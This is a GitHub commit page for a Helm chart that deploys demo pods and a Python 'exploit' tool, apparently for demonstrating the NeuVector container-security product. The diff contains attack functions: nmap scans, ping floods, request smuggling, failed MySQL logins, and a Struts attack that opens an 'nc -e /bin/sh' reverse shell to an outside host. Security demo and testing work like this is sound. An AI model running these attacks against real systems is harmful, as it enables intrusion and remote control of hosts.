Skip to content

Commit

Permalink
Update struts attack (#11)
Browse files Browse the repository at this point in the history
* - add extra print statements.
- update endpoints to use namespace of exploit pod
- minor fixes

* add iputils for real ping binary

* fix namespace for redis

* update mysql env vars

* update exploit tag template

* change default ingress to false for struts

* initial readme
  • Loading branch information
horantj authored Jul 6, 2022
1 parent ecfc475 commit 1e37708
Show file tree
Hide file tree
Showing 8 changed files with 70 additions and 55 deletions.
21 changes: 21 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -1 +1,22 @@
# nv-demo-helm
Using this chart, will install some demo pods, as well as a menu based tool to trigger various activities.<br>
This chart can be installed in 1..n namespaces, and traffic etc... will be localized to that NS.

## Install helm chart:
exploit.image_tag: See valid tags at https://hub.docker.com/repository/docker/horantj/exploit

struts.ingress.enabled: bool to enable ingress for struts. not strictly required for the menu tool.
struts.ingress.host: Use a host or IP for ingress to struts. i.e. "struts.3.227.235.243.sslip.io"

```
git clone https://github.com/horantj/nv-demo-helm.git
helm install -n demo --create-namespace \
--set exploit.image_tag=0.4 --set struts.ingress.enabled=true \
--set struts.ingress.host=struts.3.227.235.243.sslip.io
```

## Using exploit tool:
Shell into the exploit pod and run the tool:
```
python3 exploit.py <admin user> <admin pass> neuvector-svc-controller.cattle-neuvector-system.svc
```
2 changes: 1 addition & 1 deletion exploit-pod/Dockerfile
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
FROM alpine:edge
RUN apk upgrade && apk add -f py3-numpy py3-requests curl nmap mysql-client && \
RUN apk upgrade && apk add -f py3-numpy py3-requests curl nmap mysql-client iputils && \
rm -rf /var/cache/apk/* && \
rm -rf /tmp/* && \
rm -rf /var/log/*
Expand Down
86 changes: 38 additions & 48 deletions exploit-pod/exploit.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,27 +10,26 @@
import sys
import numpy as np


def portscan():
ping_list = ["redis.demo.svc.cluster.local"]
print("Running nmap against redis")
ping_list = ["redis"]
for n in range(1):
for svc in ping_list:
os.system("nmap -p- -O {0}".format(svc))
time.sleep(1)


def portscan_lite():
ping_list = ["node.demo.svc.cluster.local", "redis.demo.svc.cluster.local"]
print("Running nmap against node and redis")
ping_list = ["node", "redis"]
for svc in ping_list:
os.system("nmap {0}".format(svc))



def ping_of_death():
ping_list = ["node.demo.svc.cluster.local"]
print("Running ping -c 2 -s 40000 against node")
ping_list = ["node"]
for n in range(2):
for svc in ping_list:
os.system("ping {} -c 2 -s 40000".format(svc))
os.system("ping -c 2 -s 40000 {}".format(svc))

def getaddr():
while True:
Expand All @@ -51,29 +50,28 @@ def get_neuvector_token(username,password,controller_ip):
r = requests.post(url, data=json.dumps(payload), headers=headers, verify=False)
return (r)


def neuvector_credentials():
username = input("What is Neuvector username: ")
password = input("What is Neuvector password: ")
ipaddr = input("what is the IP Address of Selected Controller: ")
return {"username": username, "password": password, "controller_ip": ipaddr}


def https_google():
print("Running curl to https://www.google.com")
results = os.system("curl https://www.google.com > /tmp/test")
return (results)

def http_google():
print("Running curl to http://www.google.com")
results = os.system("curl http://www.google.com > /tmp/test")
return (results)


def change_mode_monitor(token, controller_ip):
done =0
retries = 5
url = "https://"+controller_ip+":10443/v1/service/config"
#url = "https://neuvector-svc-controller.neuvector.svc.cluster.local:10443/v1/service/config"
payload = {"config": {"services": ["exploit.demo", "node-pod.demo","redis-pod.demo", "nginx-pod.demo", "mysql1.demo", "struts.demo"], "policy_mode": "Monitor"}}
payload = {"config": {"services": ["node-pod."+my_ns, "redis-pod."+my_ns, "nginx-pod."+my_ns, "mysql1."+my_ns, "struts."+my_ns], "policy_mode": "Monitor"}}
headers = {'X-Auth-Token': token}
while done < retries:
r = requests.patch(url, data=json.dumps(payload), headers=headers, verify=False)
Expand All @@ -91,7 +89,7 @@ def change_mode_protect(token, controller_ip):
retries = 5
url = "https://"+controller_ip+":10443/v1/service/config"
#url = "https://neuvector-svc-controller.neuvector.svc.cluster.local:10443/v1/service/config"
payload = {"config": {"services": ["exploit.demo", "node-pod.demo", "redis-pod.demo", "nginx-pod.demo", "mysql1.demo", "struts.demo"], "policy_mode": "Protect"}}
payload = {"config": {"services": ["node-pod."+my_ns, "redis-pod."+my_ns, "nginx-pod."+my_ns, "mysql1."+my_ns, "struts."+my_ns], "policy_mode": "Protect"}}
headers = {'X-Auth-Token': token}
while done < retries:
r = requests.patch(url, data=json.dumps(payload), headers=headers, verify=False)
Expand All @@ -104,13 +102,12 @@ def change_mode_protect(token, controller_ip):
done += 1
return(r)


def change_mode_discover(token, controller_ip):
done =0
retries = 5
url = "https://"+controller_ip+":10443/v1/service/config"
#url = "https://neuvector-svc-controller.neuvector.svc.cluster.local:10443/v1/service/config"
payload = {"config": {"services": ["exploit.demo", "node-pod.demo", "redis-pod.demo", "nginx-pod.demo", "mysql1.demo", "struts.demo"], "policy_mode": "Discover"}}
payload = {"config": {"services": ["node-pod."+my_ns, "redis-pod."+my_ns, "nginx-pod."+my_ns, "mysql1."+my_ns, "struts."+my_ns], "policy_mode": "Discover"}}
headers = {'X-Auth-Token': token}
while done < retries:
r = requests.patch(url, data=json.dumps(payload), headers=headers, verify=False)
Expand All @@ -129,17 +126,18 @@ def convert_token(token):
return(token_dict['token']['token'])

def generate_client_traffic():
print("Making web calls to nginx and struts as well as mysql login")
urls = ["http://nginx-webui", "http://struts"]
for url in urls:
for n in range(10):
requests.get(url)
mysql_password_correct()

def suspicious_process():
print("Running wget which should be suspicious in zero trust")
domain_list = ["google","neuvector"]
for svc in domain_list:
os.system("wget https://{}.com".format(svc))

os.system("wget -O/dev/null https://{}.com".format(svc))

def os_update():
os.system("apt-get update -y")
Expand All @@ -149,48 +147,53 @@ def neuvector_Logout(token):
headers = {'X-Auth-Token': token}
r = requests.delete(url,headers=headers, verify=False)


def ping_flood():
ping_list = ["node.demo.svc.cluster.local", "redis.demo.svc.cluster.local"]
print("Running ping -f -w 2 to node and redis")
ping_list = ["node", "redis"]
for n in range(1):
for svc in ping_list:
os.system("ping -f {} -w 2".format(svc))

os.system("ping -f -w 2 {}".format(svc))

def get_ns():
global my_ns
text_file = open("/var/run/secrets/kubernetes.io/serviceaccount/namespace", "r")
my_ns = text_file.read()
text_file.close()

def request_smuggling():
ping_list = [ "nginx-webui.demo.svc.cluster.local"]
print("Running a request smuggling attack against nginx/node")
ping_list = [ "nginx-webui"]
headers = {'Content-Length': '999'}
print("start http request smuggling")
for svc in ping_list:
url = "http://"+svc
os.system("curl -H \"Content-Length: 123\" http://{} & ".format(svc))

def mysql_password():
svc ="mysql1.demo.svc.cluster.local"
print("Creating failed logins to mysql1")
svc ="mysql1"
for n in range(5):
os.system("mysql -h {} -u hacker -password=hackck1".format(svc))
time.sleep(2)


def mysql_password_correct():
svc ="mysql1.demo.svc.cluster.local"
for n in range(5):
os.system("mysql -h {} -u root -password=password".format(svc))
print("Creating a successful mysql connection")
svc ="mysql1"
for n in range(1):
os.system("mysql -h {} -u root --password=password -e \"select * from mysql.user\" > /dev/null".format(svc))
time.sleep(2)



def slow_loris():
node_list = ["nginx-webui.demo.svc.cluster.local"]
node_list = ["nginx-webui"]
for n in range(2):
for svc in node_list:
os.system("telnet {} 80 &".format(svc))



def attack_struts():
command= 'nc -nv 184.96.190.7 1337 -e /bin/sh'
print("This will run a struts attack against the vulnerable super-app and create a reverse shell to the specified host")
print('Enter hostname or IP listening for reverse shell on port 1337:')
shellip = input()
command= 'nc -nv '+shellip+' 1337 -e /bin/sh'
exploit = '''
<map>
<entry>
Expand Down Expand Up @@ -249,16 +252,14 @@ def attack_struts():
'''


url = "http://struts.demo"
url = "http://struts/super-app/orders/3"

headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0',
'Content-Type': 'application/xml'}

request = requests.post(url, data=exploit, headers=headers)
print (request.text)



def inputNumber():
while True:
try:
Expand All @@ -268,8 +269,6 @@ def inputNumber():
pass
return num



def generate_all_traffic(token,controller_ip):

print("Sending Client Traffic....")
Expand Down Expand Up @@ -340,7 +339,6 @@ def displayMenu(options):
pass
return choice


def items(token, controller_ip):
menuItems = np.array(["Launch all","Initiate Client Traffic","Initate Ping Death Threat","Initiate Ping Flood Threat",
"Launch Suspicious Process","Initiate HTTP Request Smuggling Threat", "Launch Port Scan","Initiate MySQL Unauthorized User with packet capture",
Expand Down Expand Up @@ -419,14 +417,6 @@ def items(token, controller_ip):
mysql_password_correct()
elif choice == 18:
break
elif choice == 19:
print("Struts attack!")
attack_struts()






def main():

Expand All @@ -437,7 +427,7 @@ def main():
token_txt = get_neuvector_token(username,password,controller_ip)
token= convert_token(token_txt)


get_ns()
items(token,controller_ip)


Expand Down
2 changes: 1 addition & 1 deletion nv-demo/templates/exploit-deployment.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@ spec:
containers:
- args:
- bash
image: horantj/exploit:0.3
image: horantj/exploit:{{ .Values.exploit.image_tag }}
imagePullPolicy: IfNotPresent
name: exploit
resources: {}
Expand Down
4 changes: 4 additions & 0 deletions nv-demo/templates/mysql-deployment.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,10 @@ spec:
- env:
- name: MYSQL_ROOT_PASSWORD
value: password
- name: MYSQL_ROOT_HOST
value: '%'
- name: MYSQL_LOG_CONSOLE
value: "TRUE"
image: mysql:5.7
imagePullPolicy: IfNotPresent
name: mysql1
Expand Down
1 change: 0 additions & 1 deletion nv-demo/templates/redis-deployment.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,6 @@ apiVersion: apps/v1
kind: Deployment
metadata:
name: redis-pod
namespace: demo
spec:
selector:
matchLabels:
Expand Down
1 change: 0 additions & 1 deletion nv-demo/templates/redis-service.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,6 @@ apiVersion: v1
kind: Service
metadata:
name: redis
namespace: demo
spec:
ports:
- port: 6379
Expand Down
8 changes: 5 additions & 3 deletions nv-demo/values.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -3,9 +3,11 @@ struts:
type: ClusterIP
port: 80
ingress:
enabled: true
host: "struts.34.206.72.88.sslip.io"
enabled: false
host: "struts.host"
ingressClassName: ""
path: "/"
annotations: {}
tls: true
tls: true
exploit:
image_tag: "0.3"

0 comments on commit 1e37708

Please sign in to comment.